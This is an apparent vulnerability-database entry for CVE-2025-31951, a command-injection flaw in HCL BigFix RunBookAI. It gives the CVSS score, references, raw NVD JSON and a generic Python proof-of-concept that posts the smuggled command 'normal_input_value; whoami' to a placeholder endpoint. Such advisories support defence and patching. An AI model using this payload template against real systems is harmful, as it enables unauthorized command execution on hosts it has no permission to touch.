CVE-2025-31951

Description

HCL BigFix RunBookAI is affected by a Unvalidated Command Input / Potential Command Smuggling vulnerability. A flaw in a component's input handling was identified that could permit unauthorized command execution.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

HCL BigFix RunBookAI (具体受影响版本请参考厂商公告 KB0130444)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# This is a generic PoC script for demonstration purposes.
# The actual vulnerable endpoint and parameter name depend on the specific version.

target_url = "http://target-host:port/api/vulnerable_endpoint"

# Payload attempting to inject a command (e.g., checking current user)
# Attackers might use `;`, `|`, `&&` or newline characters for smuggling
payload = "normal_input_value; whoami"

headers = {
    "User-Agent": "CVE-2025-31951-Scanner",
    "Content-Type": "application/json",
    "Authorization": "Bearer <low_priv_token>"
}

data = {
    "configuration": payload
}

try:
    response = requests.post(target_url, json=data, headers=headers, timeout=10)
    print(f"[+] Status Code: {response.status_code}")
    if response.status_code == 200:
        print(f"[+] Response received: {response.text}")
except Exception as e:
    print(f"[-] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-31951
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-31951
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-31951/
[4] VulDB https://vuldb.com/cve/CVE-2025-31951
[5] https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0130444

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-31951", "sourceIdentifier": "[email protected]", "published": "2026-05-06T12:16:26.087", "lastModified": "2026-05-06T19:05:56.337", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL BigFix RunBookAI is affected by a Unvalidated Command Input / Potential Command Smuggling vulnerability. A flaw in a component's input handling was identified that could permit unauthorized command execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-351"}, {"lang": "en", "value": "CWE-451"}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0130444", "source": "[email protected]"}]}}